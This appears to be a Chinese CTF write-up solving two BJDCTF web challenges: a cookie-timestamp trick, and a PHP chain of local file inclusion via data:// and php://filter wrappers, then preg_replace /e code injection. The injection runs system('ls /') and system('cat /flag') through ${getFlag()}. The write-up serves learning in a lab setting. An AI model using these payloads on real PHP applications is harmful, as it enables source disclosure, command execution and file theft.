[BJDCTF 2nd]Schrödinger && [BJDCTF2020]ZJCTF,不过如此

[BJDCTF 2nd]Schrödinger

 点进题目之后是一堆英文,英语不好就不配打CTF了吗(流泪)

复制这一堆英文去谷歌翻译的时候发现隐藏文字

 移除test.php文件,访问test.php文件

 结合index.php的内容,应该是需要我们爆破获取test.php页面adminn的密码

尝试输入http://127.0.0.1/test.php

 题目有说:

If the CPU of the server is idle, it must be able to burst out the password you want very soon :)

  CPU如果处于空闲状态,会很快得到我们想要的答案,但是当我们输入网址之后,CPU的占用迅速提高,预测成功率的增长速度却越来越慢,估计我有生之年是看不到了,直接点击check

 页面跳转至 index.php?check= 

弹窗显示爆破失败,示意我们需要等待更长的时间,当然是不可能真的等待的,抓包分析

 Cookie里面的dXNlcg的值感觉是base64加密,解密后为:1588061013,看其他师傅的博客知道这是时间戳,应该是根据时间戳来修改网页显示的js代码的

将其置为空,弹窗显示一个B站AV号

 flag就在评论区里面

[BJDCTF2020]ZJCTF,不过如此

访问页面显示了源代码

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

  

从代码里面可以看出来我们传入text和file参数,同时text文件内容需要是I have a dream,而file参数可以进行本地文件包含读取next.php文件代码

text使用php data协议输入数据,file直接使用next.php

http://4ac09eb6-6ae1-4bd2-8daa-103dba1ff644.node3.buuoj.cn/index.php?text=data://text/plain,I have a dream&file=next.php

  包含失败

 使用php filter伪协议读取next.php文件

http://4ac09eb6-6ae1-4bd2-8daa-103dba1ff644.node3.buuoj.cn/index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

  base64解码得到next.php的源代码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
    return preg_replace('/(' . $re . ')/ei','strtolower("\1")',$str);
}
foreach($_GET as $re => $str) {
    echo complex($re, $str). "
";
}
function getFlag(){
	@eval($_GET['cmd']);
}

  在preg_replace里面第一个参数使用了/e,代码审计的学习中可以知道preg_replace函数第一个参数使用/e是有可能造成代码执行漏洞

 当$pattern处存在e修饰符的时候,$replacement的值就会被当做PHP代码执行,这里也是这道题的突破点。

具体分析可以看先知上的这篇文章:https://xz.aliyun.com/t/2557

先使用文章里面的payload打出phpinfo页面

http://4ac09eb6-6ae1-4bd2-8daa-103dba1ff644.node3.buuoj.cn/next.php?S*=${phpinfo()}

根据next.php代码修改payload,我们需要执行getFlag函数,所以将原来的${phpinfo()}改为${getFlag()},cmd为ls /,显示根目录下的文件

http://4ac09eb6-6ae1-4bd2-8daa-103dba1ff644.node3.buuoj.cn/next.php?S*=${getFlag()}&cmd=system('ls /');

  最后打出flag

http://4ac09eb6-6ae1-4bd2-8daa-103dba1ff644.node3.buuoj.cn/next.php?S*=${getFlag()}&cmd=system('cat /flag');

  

原文地址:https://www.cnblogs.com/Cl0ud/p/12794915.html